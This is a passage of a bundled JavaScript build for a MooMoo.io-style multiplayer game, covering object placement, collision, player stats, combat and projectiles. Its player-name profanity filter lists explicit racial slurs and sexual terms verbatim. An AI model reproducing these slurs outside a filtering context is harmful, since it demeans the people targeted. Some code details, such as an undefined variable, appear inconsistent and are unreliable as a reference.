                            if (this.grids[tmpX + "_" + tmpY])
                                tmpArray.push(this.grids[tmpX + "_" + tmpY]);
                            if (xPos + s >= (tmpX + 1) * tmpS) { // RIGHT
                                tmpGrid = this.grids[(tmpX + 1) + "_" + tmpY];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                                if (tmpY && yPos - s <= tmpY * tmpS) { // TOP RIGHT
                                    tmpGrid = this.grids[(tmpX + 1) + "_" + (tmpY - 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                } else if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM RIGHT
                                    tmpGrid = this.grids[(tmpX + 1) + "_" + (tmpY + 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                }
                            } if (tmpX && xPos - s <= tmpX * tmpS) { // LEFT
                                tmpGrid = this.grids[(tmpX - 1) + "_" + tmpY];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                                if (tmpY && yPos - s <= tmpY * tmpS) { // TOP LEFT
                                    tmpGrid = this.grids[(tmpX - 1) + "_" + (tmpY - 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                } else if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM LEFT
                                    tmpGrid = this.grids[(tmpX - 1) + "_" + (tmpY + 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                }
                            } if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM
                                tmpGrid = this.grids[tmpX + "_" + (tmpY + 1)];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                            } if (tmpY && yPos - s <= tmpY * tmpS) { // TOP
                                tmpGrid = this.grids[tmpX + "_" + (tmpY - 1)];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                            }
                        } catch (e) {}
                        return tmpArray;
                    };

                    // ADD NEW:
                    var tmpObj;
                    this.add = function(sid, x, y, dir, s, type, data, setSID, owner) {
                        tmpObj = null;
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].sid == sid) {
                                tmpObj = gameObjects[i];
                                break;
                            }
                        } if (!tmpObj) {
                            for (var i = 0; i < gameObjects.length; ++i) {
                                if (!gameObjects[i].active) {
                                    tmpObj = gameObjects[i];
                                    break;
                                }
                            }
                        } if (!tmpObj) {
                            tmpObj = new GameObject(sid);
                            gameObjects.push(tmpObj);
                        }
                        if (setSID)
                            tmpObj.sid = sid;
                        tmpObj.init(x, y, dir, s, type, data, owner);
                        if (server) {
                            this.setObjectGrids(tmpObj);
                            if (tmpObj.doUpdate)
                                this.updateObjects.push(tmpObj);
                        }
                    };

                    // DISABLE BY SID:
                    this.disableBySid = function(sid) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].sid == sid) {
                                this.disableObj(gameObjects[i]);
                                break;
                            }
                        }
                    };

                    // REMOVE ALL FROM PLAYER:
                    this.removeAllItems = function(sid, server) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].active && gameObjects[i].owner && gameObjects[i].owner.sid == sid) {
                                this.disableObj(gameObjects[i]);
                            }
                        }
                        if (server) {
                            server.broadcast("13", sid);
                        }
                    };

                    // FETCH SPAWN OBJECT:
                    this.fetchSpawnObj = function(sid) {
                        var tmpLoc = null;
                        for (var i = 0; i < gameObjects.length; ++i) {
                            tmpObj = gameObjects[i];
                            if (tmpObj.active && tmpObj.owner && tmpObj.owner.sid == sid && tmpObj.spawnPoint) {
                                tmpLoc = [tmpObj.x, tmpObj.y];
                                this.disableObj(tmpObj);
                                server.broadcast("12", tmpObj.sid);
                                if (tmpObj.owner) {
                                    tmpObj.owner.changeItemCount(tmpObj.group.id, -1);
                                }
                                break;
                            }
                        }
                        return tmpLoc;
                    };

                    // CHECK IF PLACABLE:
                    this.checkItemLocation = function(x, y, s, sM, indx, ignoreWater, placer) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            var blockS = (gameObjects[i].blocker?
                                          gameObjects[i].blocker:gameObjects[i].getScale(sM, gameObjects[i].isItem));
                            if (gameObjects[i].active && UTILS.getDistance(x, y, gameObjects[i].x,
                                                                           gameObjects[i].y) < (s + blockS))
                                return false;
                        } if (!ignoreWater && indx != 18 && y >= (config.mapScale / 2) - (config.riverWidth / 2) && y <=
                              (config.mapScale / 2) + (config.riverWidth / 2)) {
                            return false;
                        }
                        return true;
                    };

                    // ADD PROJECTILE:
                    this.addProjectile = function(x, y, dir, range, indx) {
                        var tmpData = items.projectiles[indx];
                        var tmpProj;
                        for (var i = 0; i < projectiles.length; ++i) {
                            if (!projectiles[i].active) {
                                tmpProj = projectiles[i];
                                break;
                            }
                        }
                        if (!tmpProj) {
                            tmpProj = new Projectile(players, UTILS);
                            projectiles.push(tmpProj);
                        }
                        tmpProj.init(indx, x, y, dir, tmpData.speed, range, tmpData.scale);
                    };

                    // CHECK PLAYER COLLISION:
                    this.checkCollision = function(player, other, delta) {
                        delta = delta||1;
                        var dx = player.x - other.x;
                        var dy = player.y - other.y;
                        var tmpLen = player.scale + other.scale;
                        if (mathABS(dx) <= tmpLen || mathABS(dy) <= tmpLen) {
                            tmpLen = player.scale + (other.getScale?other.getScale():other.scale);
                            var tmpInt = mathSQRT(dx * dx + dy * dy) - tmpLen;
                            if (tmpInt <= 0) {
                                if (!other.ignoreCollision) {
                                    var tmpDir = UTILS.getDirection(player.x, player.y, other.x, other.y);
                                    var tmpDist = UTILS.getDistance(player.x, player.y, other.x, other.y);
                                    if (other.isPlayer) {
                                        tmpInt = (tmpInt * -1) / 2;
                                        player.x += (tmpInt * mathCOS(tmpDir));
                                        player.y += (tmpInt * mathSIN(tmpDir));
                                        other.x -= (tmpInt * mathCOS(tmpDir));
                                        other.y -= (tmpInt * mathSIN(tmpDir));
                                    } else {
                                        player.x = other.x + (tmpLen * mathCOS(tmpDir));
                                        player.y = other.y + (tmpLen * mathSIN(tmpDir));
                                        player.xVel *= 0.75;
                                        player.yVel *= 0.75;
                                    }
                                    if (other.dmg && other.owner != player && !(other.owner &&
                                                                                other.owner.team && other.owner.team == player.team)) {
                                        player.changeHealth(-other.dmg, other.owner, other);
                                        var tmpSpd = 1.5 * (other.weightM||1);
                                        player.xVel += tmpSpd * mathCOS(tmpDir);
                                        player.yVel += tmpSpd * mathSIN(tmpDir);
                                        if (other.pDmg && !(player.skin && player.skin.poisonRes)) {
                                            player.dmgOverTime.dmg = other.pDmg;
                                            player.dmgOverTime.time = 5;
                                            player.dmgOverTime.doer = other.owner;
                                        }
                                        if (player.colDmg && other.health) {
                                            if (other.changeHealth(-player.colDmg)) this.disableObj(other);
                                            this.hitObj(other, UTILS.getDirection(player.x, player.y, other.x, other.y));
                                        }
                                    }
                                } else if (other.trap && !player.noTrap && other.owner != player && !(other.owner &&
                                                                                                      other.owner.team && other.owner.team == player.team)) {
                                    player.lockMove = true;
                                    other.hideFromEnemy = false;
                                } else if (other.boostSpeed) {
                                    player.xVel += (delta * other.boostSpeed * (other.weightM||1)) * mathCOS(other.dir);
                                    player.yVel += (delta * other.boostSpeed * (other.weightM||1)) * mathSIN(other.dir);
                                } else if (other.healCol) {
                                    player.healCol = other.healCol;
                                } else if (other.teleport) {
                                    player.x = UTILS.randInt(0, config.mapScale);
                                    player.y = UTILS.randInt(0, config.mapScale);
                                }
                                if (other.zIndex > player.zIndex) player.zIndex = other.zIndex;
                                return true;
                            }
                        }
                        return false;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/player.js":
            /*!*******************************!*\
  !*** ./src/js/data/player.js ***!
  \*******************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var LangFilter = __webpack_require__(/*! bad-words */ "./node_modules/bad-words/lib/badwords.js");
                var langFilter = new LangFilter();
                var newProfane = ['jew', 'black', 'baby', 'child', 'white',
                                  'porn', 'pedo', 'trump', 'clinton', 'hitler', 'nazi',
                                  'gay', 'pride', 'sex', 'pleasure', 'touch', 'poo', 'kids',
                                  'rape', 'white power', 'nigga', 'nig nog', 'doggy', 'rapist',
                                  'boner', 'nigger', 'nigg', 'finger', 'nogger', 'nagger', 'nig',
                                  'fag', 'gai', 'pole', 'stripper', "penis", 'vagina', 'pussy',
                                  'nazi', 'hitler', 'stalin', 'burn', 'chamber', 'cock',
                                  'peen', 'dick', 'spick', 'nieger', 'die', 'satan', 'n|ig', 'nlg',
                                  'cunt', 'c0ck', 'fag', 'lick', 'condom', 'anal', 'shit', 'phile',
                                  'little', 'kids', 'free KR', 'tiny', 'sidney', 'ass', 'kill', '.io',
                                  '(dot)', '[dot]', 'mini', 'whiore', 'whore', 'faggot', 'github',
                                  '1337', '666', 'satan',
                                  'senpa', 'discord', 'd1scord', 'mistik', '.io', 'senpa.io', 'sidney', 'sid', 'senpaio', 'vries', 'asa',
                                 ];
                langFilter.addWords(...newProfane);

                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                module.exports = function(id, sid, config, UTILS, projectileManager,
                                           objectManager, players, ais, items, hats, accessories, server, scoreCallback, iconCallback) {
                    this.id = id;
                    this.sid = sid;
                    this.tmpScore = 0;
                    this.team = null;
                    this.skinIndex = 0;
                    this.tailIndex = 0;
                    this.hitTime = 0;
                    this.tails = {};
                    for (var i = 0; i < accessories.length; ++i) {
                        if (accessories[i].price <= 0)
                            this.tails[accessories[i].id] = 1;
                    }
                    this.skins = {};
                    for (var i = 0; i < hats.length; ++i) {
                        if (hats[i].price <= 0)
                            this.skins[hats[i].id] = 1;
                    }
                    this.points = 0;
                    this.dt = 0;
                    this.hidden = false;
                    this.itemCounts = {};
                    this.isPlayer = true;
                    this.pps = 0;
                    this.moveDir = undefined;
                    this.skinRot = 0;
                    this.lastPing = 0;
                    this.iconIndex = 0;
                    this.skinColor = 0;

                    // SPAWN:
                    this.spawn = function(moofoll) {
                        this.active = true;
                        this.alive = true;
                        this.lockMove = false;
                        this.lockDir = false;
                        this.minimapCounter = 0;
                        this.chatCountdown = 0;
                        this.shameCount = 0;
                        this.secondaryChecked = false;
                        this.lastDamage = 0;
                        this.mAC = 8;
                        this.shameTimer = 0;
                        this.lastHealth = 100
                        this.sentTo = {};
                        this.gathering = 0;
                        this.autoGather = 0;
                        this.animTime = 0;
                        this.animSpeed = 0;
                        this.mouseState = 0;
                        this.buildIndex = -1;
                        (this.healthMov = 100);
                        (this.shameMov = 8);
                        this.weaponIndex = 0;
                        this.dmgOverTime = {};
                        this.noMovTimer = 0;
                        this.maxXP = 300;
                        this.XP = 0;
                        this.age = 1;
                        this.kills = 0;
                        this.upgrAge = 2;
                        this.upgradePoints = 0;
                        this.x = 0;
                        this.y = 0;
                        this.zIndex = 0;
                        this.xVel = 0;
                        this.yVel = 0;
                        this.slowMult = 1;
                        this.dir = 0;
                        this.dirPlus = 0;
                        this.targetDir = 0;
                        this.targetAngle = 0;
                        this.maxHealth = 100;
                        this.health = this.maxHealth;
                        this.scale = config.playerScale;
                        this.speed = config.playerSpeed;
                        this.resetMoveDir();
                        this.resetResources(moofoll);
                        this.items = [0, 3, 6, 10];
                        this.weapons = [0];
                        this.shootCount = 0;
                        this.weaponXP = [];
                        this.reloads = {};
                    };

                    // RESET MOVE DIR:
                    this.resetMoveDir = function() {
                        this.moveDir = undefined;
                    };

                    // RESET RESOURCES:
                    this.resetResources = function(moofoll) {
                        for (var i = 0; i < config.resourceTypes.length; ++i) {
                            this[config.resourceTypes[i]] = moofoll?100:0;
                        }
                    };

                    // ADD ITEM:
                    this.addItem = function(id) {
                        var tmpItem = items.list[id];
                        if (tmpItem) {
                            for (var i = 0; i < this.items.length; ++i) {
                                if (items.list[this.items[i]].group == tmpItem.group) {
                                    if (this.buildIndex == this.items[i])
                                        this.buildIndex = id;
                                    this.items[i] = id;
                                    return true;
                                }
                            }
                            this.items.push(id);
                            return true;
                        }
                        return false;
                    };

                    // SET USER DATA:
                    this.setUserData = function(data) {
                        if (data) {
                            // SET INITIAL NAME:
                            this.name = "dunes";

                            // VALIDATE NAME:
                            var name = data.name + "";
                            name = name.slice(0, config.maxNameLength);
                            name = name.replace(/[^\w:\(\)\/? -]+/gmi, " ");  // USE SPACE SO WE CAN CHECK PROFANITY
                            name = name.replace(/[^\x00-\x7F]/g, " ");
                            name = name.trim();

                            // CHECK IF IS PROFANE:
                            var isProfane = false;
                            var convertedName = name.toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g, "s");
                            for (var word of langFilter.list) {
                                if (convertedName.indexOf(word) != -1) {
                                    isProfane = true;
                                    break;
                                }
                            }
                            if (name.length > 0 && !isProfane) {
                                this.name = name;
                            }

                            // SKIN:
                            this.skinColor = 0;
                            if (config.skinColors[data.skin])
                                this.skinColor = data.skin;
                        }
                    };

                    // GET DATA TO SEND:
                    this.getData = function() {
                        return [
                            this.id,
                            this.sid,
                            this.name,
                            UTILS.fixTo(this.x, 2),
                            UTILS.fixTo(this.y, 2),
                            UTILS.fixTo(this.dir, 3),
                            this.health,
                            this.maxHealth,
                            this.scale,
                            this.skinColor
                        ];
                    };

                    // SET DATA:
                    this.setData = function(data) {
                        this.id = data[0];
                        this.sid = data[1];
                        this.name = data[2];
                        this.x = data[3];
                        this.y = data[4];
                        this.dir = data[5];
                        this.health = data[6];
                        this.maxHealth = data[7];
                        this.scale = data[8];
                        this.skinColor = data[9];
                    };

                    // UPDATE:
                    var timerCount = 0;
                    this.update = function(e) {
                        if (this.alive) {
                            if(this.health != this.healthMov){
                                this.health < this.healthMov ? (this.healthMov -= 3) : (this.healthMov += 3);
                                if(Math.abs(this.health - this.healthMov) < 3) this.healthMov = this.health;
                            };
                            if(this.shameCount != this.shameMov) this.shameCount < this.shameMov ? (this.shameMov -= .1) : (this.shameMov += .1), Math.abs(this.shameCount - this.shameMov) < .1 && (this.shameMov = this.shameCount);
                        }
                    };

                    // ADD WEAPON XP:
                    this.addWeaponXP = function(amnt) {
                        if (!this.weaponXP[this.weaponIndex])
                            this.weaponXP[this.weaponIndex] = 0;
                        this.weaponXP[this.weaponIndex] += amnt;
                    };

                    // EARN XP:
                    this.earnXP = function(amount) {
                        if (this.age < config.maxAge) {
                            this.XP += amount;
                            if (this.XP >= this.maxXP) {
                                if (this.age < config.maxAge) {
                                    this.age++;
                                    this.XP = 0;
                                    this.maxXP *= 1.2;
                                } else {
                                    this.XP = this.maxXP;
                                }
                                this.upgradePoints++;
                                server.send(this.id, "16", this.upgradePoints, this.upgrAge);
                                server.send(this.id, "15", this.XP, UTILS.fixTo(this.maxXP, 1), this.age);
                            } else {
                                server.send(this.id, "15", this.XP);
                            }
                        }
                    };


                    // CHANGE HEALTH:
                    this.changeHealth = function(amount, doer) {
                        if (amount > 0 && this.health >= this.maxHealth)
                            return false
                        if (amount < 0 && this.skin)
                            amount *= this.skin.dmgMult||1;
                        if (amount < 0 && this.tail)
                            amount *= this.tail.dmgMult||1;
                        if (amount < 0)
                            this.hitTime = Date.now();
                        this.health += amount;
                        if (this.health > this.maxHealth) {
                            amount -= (this.health - this.maxHealth);
                            this.health = this.maxHealth;
                        }
                        if (this.health <= 0)
                            this.kill(doer);
                        for (var i = 0; i < players.length; ++i) {
                            if (this.sentTo[players[i].id])
                                server.send(players[i].id, "h", this.sid, Math.round(this.health));
                        }
                        if (doer && doer.canSee(this)) {
                            server.send(doer.id, "t", Math.round(this.x),
                                        Math.round(this.y), Math.round(-amount), 1);
                        }
                        return true;
                    };

                    // KILL:
                    this.kill = function(doer) {
                        if (doer && doer.alive) {
                            doer.kills++;
                            if (doer.skin && doer.skin.goldSteal) scoreCallback(doer, Math.round(this.points / 2));
                            else scoreCallback(doer, Math.round(this.age*100*((doer.skin&&doer.skin.kScrM)?doer.skin.kScrM:1)));
                            server.send(doer.id, "9", "kills", doer.kills, 1);
                        }
                        this.alive = false;
                        server.send(this.id, "11");
                        iconCallback();
                    };

                    // ADD RESOURCE:
                    this.addResource = function(type, amount, auto) {
                        if (!auto && amount > 0)
                            this.addWeaponXP(amount);
                        if (type == 3) {
                            scoreCallback(this, amount, true);
                        } else {
                            this[config.resourceTypes[type]] += amount;
                            server.send(this.id, "9", config.resourceTypes[type], this[config.resourceTypes[type]], 1);
                        }
                    };

                    // CHANGE ITEM COUNT:
                    this.changeItemCount = function(index, value) {
                        this.itemCounts[index] = this.itemCounts[index]||0;
                        this.itemCounts[index] += value;
                        server.send(this.id, "14", index, this.itemCounts[index]);
                    };

                    // BUILD:
                    this.buildItem = function() {
                        if (this.hitTime) {
                            let o = tC - this.hitTime;
                            this.hitTime = 0;
                            if(o < 2)
                            {
                                this.shameCount += 1
                                if([60, 66, 71, 68, 74, 80].includes(this.lastDamage)){
                                    this.mAC = this.shameCount
                                }
                                if(this.shameCount >= 8 ){
                                    this.shameTimer = 3e4
                                    this.shameCount = 0
                                }
                            } else{
                                this.shameCount = Math.max(0, this.shameCount - 2)

                            }
                        }
                    }

                    // HAS RESOURCES:
                    this.hasRes = function(item, mult) {
                        for (var i = 0; i < item.req.length;) {
                            if (this[item.req[i]] < Math.round(item.req[i + 1] * (mult||1)))
                                return false;
                            i+=2;
                        }
                        return true;
                    };

                    // USE RESOURCES:
                    this.useRes = function(item, mult) {
                        if (config.inSandbox)
                            return;
                        for (var i = 0; i < item.req.length;) {
                            this.addResource(config.resourceTypes.indexOf(item.req[i]), -Math.round(item.req[i+1]*(mult||1)));
                            i+=2;
                        }
                    };

                    // CAN BUILD:
                    this.canBuild = function(item) {
                        if (config.inSandbox)
                            return true;
                        if (item.group.limit && this.itemCounts[item.group.id] >= item.group.limit)
                            return false;
                        return this.hasRes(item);
                    };

                    // GATHER:
                    this.gather = function() {

                        // SHOW:
                        this.noMovTimer = 0;

                        // SLOW MOVEMENT:
                        this.slowMult -= (items.weapons[this.weaponIndex].hitSlow||0.3);
                        if (this.slowMult < 0)
                            this.slowMult = 0;

                        // VARIANT DMG:
                        var tmpVariant = config.fetchVariant(this);
                        var applyPoison = tmpVariant.poison;
                        var variantDmg = tmpVariant.val;

                        // CHECK IF HIT GAME OBJECT:
                        var hitObjs = {};
                        var tmpDist, tmpDir, tmpObj, hitSomething;
                        var tmpList = objectManager.getGridArrays(this.x, this.y, items.weapons[this.weaponIndex].range);
                        for (var t = 0; t < tmpList.length; ++t) {
                            for (var i = 0; i < tmpList[t].length; ++i) {
                                tmpObj = tmpList[t][i];
                                if (tmpObj.active && !tmpObj.dontGather && !hitObjs[tmpObj.sid] && tmpObj.visibleToPlayer(this)) {
                                    tmpDist = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y) - tmpObj.scale;
                                    if (tmpDist <= items.weapons[this.weaponIndex].range) {
                                        tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                        if (UTILS.getAngleDist(tmpDir, this.dir) <= config.gatherAngle) {
                                            hitObjs[tmpObj.sid] = 1;
                                            if (tmpObj.health) {
                                                if (tmpObj.changeHealth(-items.weapons[this.weaponIndex].dmg*(variantDmg)*
                                                                        (items.weapons[this.weaponIndex].sDmg||1)*(this.skin&&this.skin.bDmg?this.skin.bDmg:1), this)) {
                                                    for (var x = 0; x < tmpObj.req.length;) {
                                                        this.addResource(config.resourceTypes.indexOf(tmpObj.req[x]), tmpObj.req[x+1]);
                                                        x+=2;
                                                    }
                                                    objectManager.disableObj(tmpObj);
                                                }
                                            } else {
                                                this.earnXP(4*items.weapons[this.weaponIndex].gather);
                                                var count = items.weapons[this.weaponIndex].gather+(tmpObj.type==3?4:0);
                                                if (this.skin && this.skin.extraGold) {
                                                    this.addResource(3, 1);
                                                } this.addResource(tmpObj.type, count);
                                            }
                                            hitSomething = true;
                                            objectManager.hitObj(tmpObj, tmpDir);
                                        }
                                    }
                                }
                            }
                        }

                        // CHECK IF HIT PLAYER:
                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj != this && tmpObj.alive && !(tmpObj.team && tmpObj.team == this.team)) {
                                tmpDist = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y) - (tmpObj.scale * 1.8);
                                if (tmpDist <= items.weapons[this.weaponIndex].range) {
                                    tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                    if (UTILS.getAngleDist(tmpDir, this.dir) <= config.gatherAngle) {

                                        // STEAL RESOURCES:
                                        var stealCount = items.weapons[this.weaponIndex].steal;
                                        if (stealCount && tmpObj.addResource) {
                                            stealCount = Math.min((tmpObj.points||0), stealCount);
                                            this.addResource(3, stealCount);
                                            tmpObj.addResource(3, -stealCount);
                                        }

                                        // MELEE HIT PLAYER:
                                        var dmgMlt = variantDmg;
                                        if (tmpObj.weaponIndex != undefined && items.weapons[tmpObj.weaponIndex].shield &&
                                            UTILS.getAngleDist(tmpDir+Math.PI, tmpObj.dir) <= config.shieldAngle) {
                                            dmgMlt = items.weapons[tmpObj.weaponIndex].shield;
                                        }
                                        var dmgVal = items.weapons[this.weaponIndex].dmg *
                                            (this.skin && this.skin.dmgMultO?this.skin.dmgMultO:1) *
                                            (this.tail && this.tail.dmgMultO?this.tail.dmgMultO:1);
                                        var tmpSpd = (0.3 * (tmpObj.weightM||1)) + (items.weapons[this.weaponIndex].knock||0);
                                        tmpObj.xVel += tmpSpd * mathCOS(tmpDir);
                                        tmpObj.yVel += tmpSpd * mathSIN(tmpDir);
                                        if (this.skin && this.skin.healD)
                                            this.changeHealth(dmgVal * dmgMlt * this.skin.healD, this);
                                        if (this.tail && this.tail.healD)
                                            this.changeHealth(dmgVal * dmgMlt * this.tail.healD, this);
                                        if (tmpObj.skin && tmpObj.skin.dmg && dmgMlt == 1)
                                            this.changeHealth(-dmgVal * tmpObj.skin.dmg, tmpObj);
                                        if (tmpObj.tail && tmpObj.tail.dmg && dmgMlt == 1)
                                            this.changeHealth(-dmgVal * tmpObj.tail.dmg, tmpObj);
                                        if (tmpObj.dmgOverTime && this.skin && this.skin.poisonDmg &&
                                            !(tmpObj.skin && tmpObj.skin.poisonRes)) {
                                            tmpObj.dmgOverTime.dmg = this.skin.poisonDmg;
                                            tmpObj.dmgOverTime.time = this.skin.poisonTime||1;
                                            tmpObj.dmgOverTime.doer = this;
                                        } if (tmpObj.dmgOverTime && applyPoison &&
                                              !(tmpObj.skin && tmpObj.skin.poisonRes)) {
                                            tmpObj.dmgOverTime.dmg = 5;
                                            tmpObj.dmgOverTime.time = 5;
                                            tmpObj.dmgOverTime.doer = this;
                                        } if (tmpObj.skin && tmpObj.skin.dmgK) {
                                            this.xVel -= tmpObj.skin.dmgK * mathCOS(tmpDir);
                                            this.yVel -= tmpObj.skin.dmgK * mathSIN(tmpDir);
                                        } tmpObj.changeHealth(-dmgVal * dmgMlt, this, this);

                                    }
                                }
                            }
                        }

                        // SEND FOR ANIMATION:
                        this.sendAnimation(hitSomething?1:0);
                    };

                    // SEND ANIMATION:
                    this.sendAnimation = function(hit) {
                        for (var i = 0; i < players.length; ++i) {
                            if (this.sentTo[players[i].id] && this.canSee(players[i])) {
                                server.send(players[i].id, "7", this.sid, hit?1:0, this.weaponIndex);
                            }
                        }
                    };

                    // ANIMATE:
                    var tmpRatio = 0;
                    var animIndex = 0;
                    this.animate = function(delta) {
                        if (this.animTime > 0) {
                            this.animTime -= delta;
                            if (this.animTime <= 0) {
                                this.animTime = 0;
                                this.dirPlus = 0;
                                tmpRatio = 0;
                                animIndex = 0;
                            } else {
                                if (animIndex == 0) {
                                    tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
                                    if (tmpRatio >= 1) {
                                        tmpRatio = 1;
                                        animIndex = 1;
                                    }
                                } else {
                                    tmpRatio -= delta / (this.animSpeed * (1-config.hitReturnRatio));
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
                                }
                            }
                        }
                    };

                    // GATHER ANIMATION:
                    this.startAnim = function(didHit, index) {
                        this.animTime = this.animSpeed = items.weapons[index].speed;
                        this.targetAngle = (didHit?-config.hitAngle:-Math.PI);
                        tmpRatio = 0;
                        animIndex = 0;
                    };

                    // CAN SEE:
                    this.canSee = function(other) {
                        if (!other) return false;
                        if (other.skin && other.skin.invisTimer && other.noMovTimer
                            >= other.skin.invisTimer) return false;
                        var dx = mathABS(other.x - this.x) - other.scale;
                        var dy = mathABS(other.y - this.y) - other.scale;
                        return dx <= (config.maxScreenWidth / 2) * 1.3 && dy <= (config.maxScreenHeight / 2) * 1.3;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/projectile.js":
            /*!***********************************!*\
  !*** ./src/js/data/projectile.js ***!
  \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (players, ais, objectManager, items, config, UTILS, server) {

                    // INIT:
                    this.init = function(indx, x, y, dir, spd, dmg, rng, scl, owner) {
                        this.active = true;
                        this.indx = indx;
                        this.x = x;
                        this.y = y;
                        this.dir = dir;
                        this.skipMov = true;
                        this.speed = spd;
                        this.dmg = dmg;
                        this.scale = scl;
                        this.range = rng;
                        this.owner = owner;
                        if (server)
                            this.sentTo = {};
                    };

                    // UPDATE:
                    var objectsHit = [];
                    var tmpObj;
                    this.update = function(delta) {
                        if (this.active) {
                            var tmpSpeed = this.speed * delta;
                            var tmpScale;
                            if (!this.skipMov) {
                                this.x += tmpSpeed * Math.cos(this.dir);
                                this.y += tmpSpeed * Math.sin(this.dir);
                                this.range -= tmpSpeed;
                                if (this.range <= 0) {
                                    this.x += this.range * Math.cos(this.dir);
                                    this.y += this.range * Math.sin(this.dir);
                                    tmpSpeed = 1;
                                    this.range = 0;
                                    this.active = false;
                                }
                            } else {
                                this.skipMov = false;
                            }
                            if (server) {
                                for (var i = 0; i < players.length; ++i) {
                                    if (!this.sentTo[players[i].id] && players[i].canSee(this)) {
                                        this.sentTo[players[i].id] = 1;
                                        server.send(players[i].id, "18", UTILS.fixTo(this.x, 1), UTILS.fixTo(this.y, 1),
                                                    UTILS.fixTo(this.dir, 2), UTILS.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid);
                                    }
                                }
                                objectsHit.length = 0;
                                for (var i = 0; i < players.length + ais.length; ++i) {
                                    tmpObj = players[i]||ais[i-players.length];
                                    if (tmpObj.alive && tmpObj != this.owner && !(this.owner.team && tmpObj.team == this.owner.team)) {
                                        if (UTILS.lineInRect(tmpObj.x-tmpObj.scale, tmpObj.y-tmpObj.scale, tmpObj.x+tmpObj.scale,
                                                             tmpObj.y+tmpObj.scale, this.x, this.y, this.x+(tmpSpeed*Math.cos(this.dir)),
                                                             this.y+(tmpSpeed*Math.sin(this.dir)))) {
                                            objectsHit.push(tmpObj);
                                        }
                                    }
                                }
                                var tmpList = objectManager.getGridArrays(this.x, this.y, this.scale);
                                for (var x = 0; x < tmpList.length; ++x) {
                                    for (var y = 0; y < tmpList[x].length; ++y) {
                                        tmpObj = tmpList[x][y];
                                        tmpScale = tmpObj.getScale();
                                        if (tmpObj.active && !(this.ignoreObj == tmpObj.sid) && (this.layer <= tmpObj.layer) &&
                                            objectsHit.indexOf(tmpObj) < 0 && !tmpObj.ignoreCollision && UTILS.lineInRect(tmpObj.x-tmpScale, tmpObj.y-tmpScale, tmpObj.x+tmpScale, tmpObj.y+tmpScale,
                                                                                                                          this.x, this.y, this.x+(tmpSpeed*Math.cos(this.dir)), this.y+(tmpSpeed*Math.sin(this.dir)))) {
                                            objectsHit.push(tmpObj);
                                        }
                                    }
                                }

                                // HIT OBJECTS:
                                if (objectsHit.length > 0) {
                                    var hitObj = null;
                                    var shortDist = null;
                                    var tmpDist = null;
                                    for (var i = 0; i < objectsHit.length; ++i) {
                                        tmpDist = UTILS.getDistance(this.x, this.y, objectsHit[i].x, objectsHit[i].y);
                                        if (shortDist == null || tmpDist < shortDist) {
                                            shortDist = tmpDist;
                                            hitObj = objectsHit[i];
                                        }
                                    }
                                    if (hitObj.isPlayer || hitObj.isAI) {
                                        var tmpSd = 0.3 * (hitObj.weightM||1);
                                        hitObj.xVel += tmpSd * Math.cos(this.dir);
                                        hitObj.yVel += tmpSd * Math.sin(this.dir);
                                        if (hitObj.weaponIndex == undefined || (!(items.weapons[hitObj.weaponIndex].shield &&
                                                                                  UTILS.getAngleDist(this.dir+Math.PI, hitObj.dir) <= config.shieldAngle))) {
                                            hitObj.changeHealth(-this.dmg, this.owner, this.owner);
                                        }
                                    } else {
                                        if (hitObj.projDmg && hitObj.health && hitObj.changeHealth(-this.dmg)) {
                                            objectManager.disableObj(hitObj);
                                        }
                                        for (var i = 0; i < players.length; ++i) {
                                            if (players[i].active) {
                                                if (hitObj.sentTo[players[i].id]) {
                                                    if (hitObj.active) {
                                                        if (players[i].canSee(hitObj))
                                                            server.send(players[i].id, "8", UTILS.fixTo(this.dir, 2), hitObj.sid);
                                                    } else {
                                                        server.send(players[i].id, "12", hitObj.sid);
                                                    }
                                                }
                                                if (!hitObj.active && hitObj.owner == players[i])
                                                    players[i].changeItemCount(hitObj.group.id, -1);
                                            }

                                        }
                                    }
                                    this.active = false;
                                    for (var i = 0; i < players.length; ++i) {
                                        if (this.sentTo[players[i].id])
                                            server.send(players[i].id, "19", this.sid, UTILS.fixTo(shortDist, 1));
                                    }
                                }
                            }
                        }
                    };
                };


                /***/ }),

            /***/ "./src/js/data/projectileManager.js":
            /*!******************************************!*\
  !*** ./src/js/data/projectileManager.js ***!
  \******************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (Projectile, projectiles, players, ais, objectManager, items, config, UTILS, server) {
                    this.addProjectile = function(x, y, dir, range, speed, indx, owner, ignoreObj, layer) {
                        var tmpData = items.projectiles[indx];
